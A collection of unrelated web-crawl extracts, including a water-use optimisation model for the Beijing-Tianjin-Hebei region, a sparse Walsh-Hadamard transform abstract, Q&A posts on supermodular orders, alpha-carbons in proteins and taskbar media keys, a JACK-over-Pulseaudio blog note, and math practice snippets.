_i^r$$ is the direct water use coefficient of sector i in city r, representing the amount of water used to produce one monetary unit output of sector i in city r;$$x_i^r$$ is the output of sector i in city r. #### Objective 2: maximization of GDP The GDP of the BTH region equals to the summation of the value-added of all the sectors of all the cities in the region. The objective function is represented as: $${\it{max}}\mathop {\sum}\limits_{r = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {v_i^rx_i^r,} }$$ (2) where $$v_i^r$$ is the value-added rate of sector i in city r, representing the value-added created from one monetary unit of production of sector i in city r. ### Constraints #### Constraint 1: constraints of the input–output model The basic mathematical structure of the inter-city input–output table of the BTH region (2012) consists of (14 × 16) linear equations, which represents the inter-sectorial and inter-city interdependence in terms of intermediate demand and final demand. Constraints of the input–output model can be represented as Inequality 3, which ensure the demand for each product not exceeding the production amount. $$\mathop {\sum}\limits_s^{14} {\mathop {\sum}\limits_j^{16} {a_{ij}^{rs}x_j^r} } + \mathop {\sum}\limits_s^{14} {y_i^{rs} \le x_i^r}$$ (3) where $$a_{ij}^{rs}$$ is the direct input coefficient, which indicates the amount of input required from sector i in city r to increase one monetary unit of the output of sector j in city; $$y_i^{rs}$$ is the final demand of sector i supplied from city r to city s. #### Constraint 2: constraints of economic size Economic size is measured by GDP, which is a requisite for a world-class megalopolis classification. The constraint function is represented as: $$\mathop {\sum}\limits_{r = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {v_i^rx_i^r \ge \underline d } }$$ (4) where $$\underline d$$ is the bottom level of the GDP, which is set based on Supplementary Table 5. #### Constraint 3: constraints of industrial structure Industrial structure constraints are set to limit the relative scales of the tertiary industries in each city. For each city, the constraint inequalities are set as: $$\frac{{\mathop {\sum}\nolimits_{i = 13}^{16} {v_i^rx_i^r} }}{{\mathop {\sum}\nolimits_{i = 1}^{16} {v_i^rx_i^r} }} \ge \underline \delta$$ (5) where $$\underline \delta$$ is the bottom level for the proportion of the tertiary value added, which is set based on Supplementary Table 5. #### Constraint 4: constraints of inter-city economic connections Constraints of inter-city economic connections are set to limit the internal economic connections within the BTH region, which is reflected by inter-city trade in this study. For each city, the constraint inequalities are as follows: $$\frac{{tr_{BTH}^r}}{{tr^r}} \ge \underline {ec}$$ (6) $$tr^r = \mathop {\sum}\limits_{s = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {\mathop {\sum}\limits_{j = 1}^{16} {a_{ij}^{rs}x_j^r} } } + \mathop {\sum}\limits_{s = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {\mathop {\sum}\limits_{j = 1}^{16} {a_{ji}^{sr}x_i^r} } } + \mathop {\sum}\limits_{s = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {y_i^{rs}} } + \mathop {\sum}\limits_{s = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {y_i^{sr}} } + tr_{outsideBTH}^r + tr_{abroad}^r,$$ (7) $$tr_{local}^r = \mathop {\sum}\limits_{i = 1}^{16} {\mathop {\sum}\limits_{j = 1}^{16} {a_{ij}^{rr}x_j^r} } + \mathop {\sum}\limits_{i = 1}^{16} {y_i^{rr},}$$ (8) $$tr_{BTH}^r = tr^r - tr_{local}^r - tr_{outsideBTH}^r - tr_{abroad}^r$$ (9) where $$tr^r$$ is the total trade of the city r, which includes the internal trade $$tr_{local}^r$$, trade with other cities inside the BTH region $$tr_{BTH}^r$$, trade with other regions outside the BTH region in China $$tr_{outside\,BTH}^r$$ and trade abroad $$tr_{abroad}^r$$.$$tr^r$$ includes the trade of intermediate goods$$\left( {\mathop {\sum}\limits_{s = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {\mathop {\sum}\limits_{j = 1}^{16} {a_{ij}^{rs}x_j^r} } } + \mathop {\sum}\limits_{s = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {\mathop {\sum}\limits_{j = 1}^{16} {a_{ji}^{sr}x_i^r} } } } \right)$$ and final goods $$\left( {\mathop {\sum}\limits_{s = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {y_i^{rs}} } + \mathop {\sum}\limits_{s = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {y_i^{sr}} } } \right)$$; $$\underline {ec}$$ is the bottom level for the proportion of inter-city trade, which is set based on Supplementary Table 5. #### Constraint 5: constraints of water use The constraint on the amount of water used is given by: $$\mathop {\sum}\limits_{r = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {\omega _i^rx_i^r \le w_0} }$$ (10) where $$w_0$$ is the annual average amount of water resources in the BTH region. #### Constraint 6: constraints of water use efficiency The function of water use efficiency is evaluated by the average amount of water used for the creation of one monetary unit of GDP. For each city, the constraint inequalities are as follows: $$\frac{{\mathop {\sum}\nolimits_{i = 1}^{16} {\omega _i^rx_i^r} }}{{\mathop {\sum}\nolimits_{i = 1}^{16} {v_i^rx_i^r} }} \le \left( {1 - \rho ^r} \right)we_0^r$$ (11) where $$we_0^r$$ is the current level of water use efficiency of city r; $$\rho ^r$$ is the increasing amplitude of the water use efficiency of city r, the values of which are determined based on Supplementary Table 6. #### Constraint 7: constraints of agricultural water use For the entire Hebei province, the constraint inequalities are represented as follows: $$\mathop {\sum}\limits_{r = 1}^{14} {\omega _{agr}^rx_{agr}^r \le {\mathrm{w}}_{agr}^H}$$ (12) where $$\omega _{agr}^r$$ is the direct water use coefficient of agriculture in city r; $$x_{agr}^r$$ is the output of agriculture in city r; $$w_{agr}^H$$ is the upper limit for agricultural water use in Hebei, the value of which is determined based on Hebei’s regulations on reducing agricultural water use66. ### Reporting summary Further information on research design is available in the Nature Research Reporting Summary linked to this article.
2022-09-28 10:52:14
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 2, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.38532885909080505, "perplexity": 2783.441196727216}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335190.45/warc/CC-MAIN-20220928082743-20220928112743-00513.warc.gz"}
https://eccc.weizmann.ac.il/report/2015/076/
Under the auspices of the Computational Complexity Foundation (CCF) REPORTS > DETAIL: ### Paper: TR15-076 | 28th April 2015 22:28 #### Nearly Optimal Deterministic Algorithm for Sparse Walsh-Hadamard Transform TR15-076 Authors: Mahdi Cheraghchi, Piotr Indyk Publication: 3rd May 2015 05:36 Keywords: Abstract: For every fixed constant $\alpha > 0$, we design an algorithm for computing the $k$-sparse Walsh-Hadamard transform of an $N$-dimensional vector $x \in \mathbb{R}^N$ in time $k^{1+\alpha} (\log N)^{O(1)}$. Specifically, the algorithm is given query access to $x$ and computes a $k$-sparse $\tilde{x} \in \mathbb{R}^N$ satisfying $\|\tilde{x} - \hat{x}\|_1 \leq c \|\hat{x} - H_k(\hat{x})\|_1$, for an absolute constant $c > 0$, where $\hat{x}$ is the transform of $x$ and $H_k(\hat{x})$ is its best $k$-sparse approximation. Our algorithm is fully deterministic and only uses non-adaptive queries to $x$ (i.e., all queries are determined and performed in parallel when the algorithm starts). An important technical tool that we use is a construction of nearly optimal and linear lossless condensers which is a careful instantiation of the GUV condenser (Guruswami, Umans, Vadhan, JACM 2009). Moreover, we design a deterministic and non-adaptive $\ell_1/\ell_1$ compressed sensing scheme based on general lossless condensers that is equipped with a fast reconstruction algorithm running in time $k^{1+\alpha} (\log N)^{O(1)}$ (for the GUV-based condenser) and is of independent interest. Our scheme significantly simplifies and improves an earlier expander-based construction due to Berinde, Gilbert, Indyk, Karloff, Strauss (Allerton 2008). Our methods use linear lossless condensers in a black box fashion; therefore, any future improvement on explicit constructions of such condensers would immediately translate to improved parameters in our framework (potentially leading to $k (\log N)^{O(1)}$ reconstruction time with a reduced exponent in the poly-logarithmic factor, and eliminating the extra parameter $\alpha$). Finally, by allowing the algorithm to use randomness, while still using non-adaptive queries, the running time of the algorithm can be improved to $\tilde{O}(k \log^3 N)$. ISSN 1433-8092 | Imprint
2018-07-23 15:38:22
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8516718149185181, "perplexity": 1066.1728238657793}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-30/segments/1531676596542.97/warc/CC-MAIN-20180723145409-20180723165409-00365.warc.gz"}
https://cstheory.stackexchange.com/questions/8650/finding-permutations-which-fulfills-given-conditions
# finding permutations which fulfills given conditions Let $K$ be an ordered finite set. Consider some function $g:K^2 \rightarrow R$ such that $g(k1,k1') + g(k2,k2') \ge g(k1,k2') + g(k2,k1')$ where $k1 > k2$ (in order A1) and $k1' > k2'$ (in order A2) (*) Is there exists some effective algorithm which for given function can find such orders A1,A2 where the function fulfill the property (*) or verify that such orders A1,A2 doesn't exists. REFORMULATION: Let $K$ be a finite set. Let $g\colon K^2 \rightarrow \mathbb{R}$. We want to define the orders $>_1$ and $>_2$ on $K$ such that $$s \, >_1 \,\, t \text{ and } x \, >_2 \,\, y$$ if and only if $$g(s,x) + g(t,y) \ge g(s,y) + g(t,x).$$ Is there an efficient algorithm to prove the existence or non-existence of the two orders? • I have submitted an edit of the question so it is clearer (the way I understood it). If that was not the initial meaning of the question you can delete it: I have left your question untouched. – Gopi Oct 19 '11 at 17:53 • It's worth noting that in the lattice induced by the product order of $A_1$ and $A_2$, the point $(k_2, k'_2)$ is the meet of $(k_1, k'_2), (k_2, k'_1)$ and the point $(k_1, k'_1)$ is the join. So actually your condition is merely the definition of supermodularity for $g$. So rephrased, your question is: Is there a way, for any function $g$, to construct a product lattice from two total orders so that $g$ is supermodular ? – Suresh Venkat Oct 19 '11 at 22:33 • I'm concerned with "if and only if" in the REFORMULATION. For example, if g is a constant function, g is supermodular. But the condition in the REFORMULATION is not satisfied because for all 4-tuples (k1,k2,k1',k2') the inequality is satisfied (with equality). – Yoshio Okamoto Oct 19 '11 at 23:05 • Another interpretation might be this: can we permute the rows and columns of a matrix to make it "supermodular"? (Again, assuming that the "if and only if" part is wrong.) – Jukka Suomela Oct 19 '11 at 23:35 • @KostiaAntoniuk: I see. but to be honest, your first question was very cryptic. This one makes more sense :) – Suresh Venkat Oct 20 '11 at 6:50
2021-03-04 00:24:41
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8057844042778015, "perplexity": 293.5041666513247}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178367949.58/warc/CC-MAIN-20210303230849-20210304020849-00112.warc.gz"}
https://itectec.com/superuser/windows-media-keys-toolbar-on-task-bar/
# Windows – Media keys toolbar on task bar My keyboard does not have media keys. Does anyone know of a toolbar or something for the Windows 7 taskbar which would add the basic keys there? Like a previous, next and pause button or something. Note that for seeing these, you'll have to click on the arrow up next to your taskbar and click Customize...
2022-05-18 12:52:42
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.21240189671516418, "perplexity": 4173.760065203528}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662522270.37/warc/CC-MAIN-20220518115411-20220518145411-00770.warc.gz"}
https://mathr.co.uk/blog/2018-10-23_jack_on_top_of_pulseaudio.html
# mathr / blog / # ## JACK on top of Pulseaudio While evaluating whether to dive in and get a Bela single board computer for low latency processing of external inputs, that I would want to livecode in the C programming language using my clive system, I found that my initial attempts at cross-compiling into a network-shared folder were doomed, because my host system was running Debian Buster (current Testing, next Stable) and my device system (a Raspberry Pi Model 3 B) was running Raspbian Jessie (current OldStable). Jessie has an ancient glibc, the basic libraries that let C programs and libraries work, and my cross-compiled code needed a newer version. So I installed Debian Buster arm64 from unofficial unsupported sources. After upgrading the system to my liking, I tried the audio through HDMI. The aplay command could make some noise, but it was using a Pulseaudio backend. Try as I might I couldn't get a raw ALSA backend to make any sound, especially not with JACK (which output errors about not supported hardware sample types). So I resorted to radical means. I set up a JACK server using the dummy backend, and hooked Pulseaudio to it with pulseaudio-module-jack. Then adding a loopback Pulseaudio device to route the JACK sources/sinks to the hardware: $/usr/bin/jackd -ddummy &$ tail /etc/pulse/default.pa $mplayer -ao jack somefile.ogg -loop 0 &$ jack_connect "MPlayer [15406]:out_0" "PulseAudio JACK Source:front-left" \$ jack_connect "MPlayer [15406]:out_1" "PulseAudio JACK Source:front-right"
2021-09-18 14:26:52
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.22468559443950653, "perplexity": 12061.486210369658}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780056476.66/warc/CC-MAIN-20210918123546-20210918153546-00308.warc.gz"}
https://chemistry.stackexchange.com/questions/134409/what-exactly-makes-a-carbon-atom-%ce%b1-in-a-protein-residue/134411#134411
# What exactly makes a carbon atom "α" in a protein residue? I'm a computer scientist and have no biochemical background, but was working on a project recently that had me going through a lot of protein residues for one reason or other. Feel free to correct me from here on, but my understanding is that proteins, also called "peptides" also "subchains" when a part of a larger macromolecule are made of amino-acids(central dogma) which are also frequently referred to as "residues". Upon closer (programmatic) inspection, each residue (amino-acid) turns out to be a bunch of atoms like so: I was wondering what is the significance of that CA there in each of the residues, and whether i identified it correctly as "alpha-carbon". Protein Data Bank docs refer frequently to a residue's alpha-carbon. If it is indeed the alpha-carbon, i have two questions which are probably dead-simple to anyone with biochem background: 1. Why is that one(in space) considered alpha and not the carbon atom next to it? 2. Is it a given that each residue out there has only one alpha-carbon? Seems pretty obvious, but please. Thanks a ton! • The $\alpha$-carbon is the carbon attached to the carboxyl (-COOH) functional group. – MaxW May 27, 2020 at 17:02 • @MaxW In this case these are connected with amide groups (besides the C-end, where it's indeed COOH). May 27, 2020 at 17:05 • Huh, your output there seems to be indeed confusing. What's its source? May 27, 2020 at 17:13 • The protein backbone runs as $\mathrm{\cdots C-N-C_\alpha -C-N-C_\alpha \cdots }$ but is more often written as $\mathrm{-C(=0)N(H)-C_\alpha(R_1)-C(=0)N(H)-C_\alpha(R_2)-}$ where the $R$ are the amino acid residues always attached to the carbon alpha, and the N atom always has a hydrogen and the C always an oxygen. The $C_\alpha$ are usually labelled $C_{\alpha 1}, C_{\alpha 2}$ etc. It would be easier to look up some pictures. May 27, 2020 at 17:45 Question 1: Why is that one(in space) considered alpha and not the carbon atom next to it? All human proteins consist of $$\alpha$$-amino acid residues. An $$\alpha$$-amino acid means the carboxylic acid group ($$\ce{COOH}$$) and amino group ($$\ce{NH2}$$) are separated by one $$\ce{C}$$ carbom atom, which is called $$\alpha$$-carbon ($$\ce{C}_\alpha$$; See the insert at bottom right of the diagram): Usually, backbone of a protein ($$\alpha$$-helix) is written as: $$\ce{H2N-C_\alpha(R^1)-C(=O)-NH-C_\alpha(R^2)-C(=O)-NH-C_\alpha(R^3)-C(=O) -}\cdot \cdot \cdot \ce{-NH-C_\alpha(R^n) -COOH}$$ For example, the dipeptide in this diagram can be written as: $$\ce{H2N-C_\alpha(R^1)-C(=O)-NH-C_\alpha(R^2) -COOH}$$ As demonstrated in these backbones, you'd see each $$\ce{C_\alpha(R^1)}$$ is in place between $$\ce{NH}$$ and $$\ce{C(=O)}$$ (the $$\ce{R^1, R^2,}$$ etc. are corresponding side chains of the particular amino acids). Thus, $$\text{}$$ next to $$\text{}$$ ($$\ce{C}_\alpha$$) in the written chart of the program is referring to the carbonyl $$\ce{C}$$ of that particular amino acid. For example, let's consider three amino acids in the given chart: (10 Arginine; (2) Lysine; and (3) Leucine: Arginine (arg) residue in the chart is can be written as follows (the side chain in parenthesis): $$\ce{-HN-C_\alpha(CH2CH2CH2NHC(=NH)NH2)-C(=O) -}$$ According to the nomenclature off the program, you can rewrite it as: $$\ce{-HN-C^A(C^BH2C^GH2C^DH2N^EHC^Z(=N^{H1}H)N^{H2}H2)-C(=O) -}$$ where $$\ce{A #} \alpha$$; $$\ce{B #} \beta$$; $$\ce{G #} \gamma$$; $$\ce{D #} \delta$$; $$\ce{E #} \epsilon$$;$$\ce{Z #} \zeta$$; and $$\ce{H #} \eta$$ (following Greek alphabet letters). Since two nitrogen atoms are attached to $$\ce{C}_\zeta$$, they are appropriately labelled as $$\ce{N^{H1}}$$ and $$\ce{N^{H2}}$$ after next Greek letter $$\eta$$. Since the program has avoided hydrogen, let's rewrite it again without hydrogen atoms: $$\ce{-N-C^A(C^BC^GC^DN^EC^Z(=N^{H1})N^{H2})-C(=O) -}$$ Thus, program writes it as $$\ce{N -C_\alpha -C(=O) -}$$ first and then the the atoms in side chain next. Hence, Residue ARG: $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$, and then the side chain in parenthesis as: $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$. Similarly, lysine (lys) residue in the chart is (side chain in parenthesis): $$\ce{-HN-C_\alpha(CH2CH2CH2CH2NH2)-C(=O) -}$$ You can rewrite it according to the nomenclature off the program (avoiding $$\ce{H}$$s): $$\ce{-HN-C^A(C^BC^GC^DC^EN^Z)-C(=O) -}$$ Thus, program writes it as $$\ce{N -C_\alpha -C(=O) -}$$ first again, followed by the atoms in side chain. Hence, Residue LYS: $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$, and then the side chain in parenthesis as: $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$. For leucine, $$\ce{-HN-C_\alpha(CH2CH(CH3)CH3)-C(=O) -}$$,you can again rewrite the formula according to the nomenclature off the program (avoiding $$\ce{H}$$s): $$\ce{-N-C^A_\alpha(C^BC^G(C^{D1})C^{D2})-C(=O) -}$$ Note that since two carbon atoms are attached to $$\ce{C}_\gamma$$, they are appropriately labelled as $$\ce{C^{D1}}$$ and $$\ce{C^{D2}}$$ after next Greek letter $$\delta$$. Thus, program writes it as $$\ce{N -C_\alpha -C(=O) -}$$ first again, followed by the atoms in side chain. Hence, Residue LEU: $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$, and then the side chain in parenthesis as: $$\text{}$$, $$\text{}$$, $$\text{}$$, $$\text{}$$. Question 2: Is it a given that each residue out there has only one alpha-carbon? As explain in above backbone of the protein, you'd find only one $$\ce{C_\alpha}$$ fir each amino acid (which is chiral). • This is even more exhaustive and to-the-point than what i was looking to pick up. Thank you! May 29, 2020 at 1:10 This nomenclature is due to the fact that amino acids are carboxylic acids. Near the carboxylic acid moiety, the carbon chain is unbranched and simple, so the positions are named like an unbranched, simple aliphatic carboxylic acid. The carboxylic acid ($$\ce{-CO2H}$$) is not indicated with a position. But the carbon immediately next to it is $$\alpha$$. The one next to that is $$\beta$$. That should be enough to explain the $$\alpha$$ in your context because that carbon is the one immediately next to the carboxylic acid. In a protein or polypeptide, the carboxylic acid is most frequently converted to an amide in a peptide bond, but the Greek letter nomenclature is unchanged. This nomenclature is used in other cases for example, with an $$\alpha$$,$$\beta$$-unsaturated carbonyl. The most publicly visible use of this nomenclature is when we use $$\omega$$ to denote the end of the carboxylic acid chain. This is the origin of the term $$\omega$$-3 [unsaturated] fatty acid.
2022-08-13 23:38:18
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 82, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7955834865570068, "perplexity": 1339.6909956590175}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571989.67/warc/CC-MAIN-20220813232744-20220814022744-00606.warc.gz"}
https://www.iitutor.com/courses/qce-year-11-maths-c/lessons/arithmetic-sequences-arithmetic-series/topic/set-up-a-rule-9/
Topic # Set up a Rule If we are given only two terms of an arithmetic sequence, we are able to use the rule $\ {T}_{n} = {a} + {(n - 1)d} \$ to set up two simultaneous equations to find the value of a and d and hence write the rule for the arithmetic sequence.
2019-07-19 04:10:47
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7822012305259705, "perplexity": 95.20994421232511}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-30/segments/1563195525974.74/warc/CC-MAIN-20190719032721-20190719054721-00074.warc.gz"}
https://brilliant.org/problems/what-is-this-a-floor-function/
What is this? A floor function? Algebra Level 4 Find the number of real solutions to $4x^2 - 40\lfloor x \rfloor + 51 = 0.$ ×
2017-01-24 07:07:56
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3202950954437256, "perplexity": 2423.6341394278293}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-04/segments/1484560284352.26/warc/CC-MAIN-20170116095124-00190-ip-10-171-10-70.ec2.internal.warc.gz"}
https://halalbirthcontrol.com/qzn85igf/how-long-does-homemade-irish-cream-last-66643b
# how long does homemade irish cream last The law of cosines calculator can help you solve a vast number of triangular problems. COSH function Description. One way is to take a certain amount of terms (the more terms you take, the more accurate the approximation) from the Taylor … In order to calculate the unknown values you must enter 3 known values. How do I calculate sin, cos, and tan without a calculator? Note that the cosine function is able to recognize some special angles and make the calculations with special associated values in exact form. This calculator uses the Law of Sines: $~~ \frac{\sin\alpha}{a} = \frac{\cos\beta}{b} = \frac{cos\gamma}{c}~~$ and the Law of Cosines: $~~ c^2 = a^2 + b^2 - 2ab \cos\gamma ~~$ to solve oblique triangle i.e. These calculations can be either made by hand or by using this law of cosines calculator. On a calculator though, it should be written as (cos(33))^2 or do cos(33) then hit enter and then Ans^2. COSH(x) returns the hyperbolic cosine of the angle x.The argument x must be expressed in radians. If you want to find the values of sine, cosine, tangent and their reciprocal functions, use the first part of the calculator. There are several such algorithms that only use the four basic operations (+, −, ×, /) to find the sine, cosine, or tangent of a given angle. the length of the side Opposite angle θ; divided by the length of the Hypotenuse; Or more simply: The following formula is used to calculate the value of a cosecant of an angle. K = area MathWorld-- A Wolfram Web Resource. Learn more Accept. Inverse cosine calculator. https://www.calculatorsoup.com - Online Calculators. to find missing angles and sides if you know any 3 of the sides or angles. On paper cos^2(33) would be the same as cos(33)*cos(33) but cos(33)^2 would be the same as cos(33*33). In order to calculate cos(x) on the calculator: Enter the input angle. To calculate side a for example, enter the opposite angle A and the two other adjacent sides b and c. Using different forms of the law of cosines we can calculate all of the other unknown angles or sides. Get the full course at: http://www.MathTutorDVD.comHere you will learn how to find the sin, cos, tan and other trig functions using the TI-84 calculator. To calculate cosine of 90, enter cos(90), after calculation, the restults 0 is returned. All the six values are based on a Right Angled Triangle. Learn more Accept. The cosine can be defined as the ratio of the adjacent angle to the hypotenuse angle. Also, the calculator will show you a step by step explanation. B = angle B Cite this content, page or calculator as: Furey, Edward "Law of Cosines Calculator"; CalculatorSoup, Inverse Cosine Calculator Enter a value x into the calculator. Calculator Hyperbolic cosine function. This is the same calculation as Our tool is also a safe bet! degrees Arccos table, definition, cos-1 calculator. Guide - how to use vector direction cosines calculator To find the direction cosines of a vector: Select the vector dimension and the vector form of representation; Type the coordinates of the vector; Press the button "Calculate direction cosines of a vector" and you will have a detailed step-by-step solution. *Length units are for your reference-only since the value of the resulting lengths will always be the same no matter what the units are. To convert degrees to radians you use the RADIANS function. Now divide both sides by cos 75 degrees to isolate x; you get The cos 75 degrees is just a number. Find the important functions. Pythagoras Theorem: A Pythagoras theorem is used to find a relation between the three sides of a right triangle. Sine, Cosine and Tangent. Uses the law of cosines to calculate unknown angles or sides of a triangle. Use online Arccos calculator to calculate the arc cosine function arccos(x). In order to calculate the unknown values you must enter 3 known values. Sine Function. It has the combo box where you can select the angle type in degrees or radians. Calculator Use. CSC(x) = 1/sin(x) Where CSC is the cosecant; x is the angle in degrees or radians Sine, Cosine and Tangent (often shortened to sin, cos and tan) are each a ratio of sides of a right angled triangle:. Weisstein, Eric W. "Law of Cosines" From Or you could ask, what did people do before the calculator was invented, i.e. Calculate the cosine of an angle in degrees. There are several functions on the calculator that will be essential for … Select the result type in 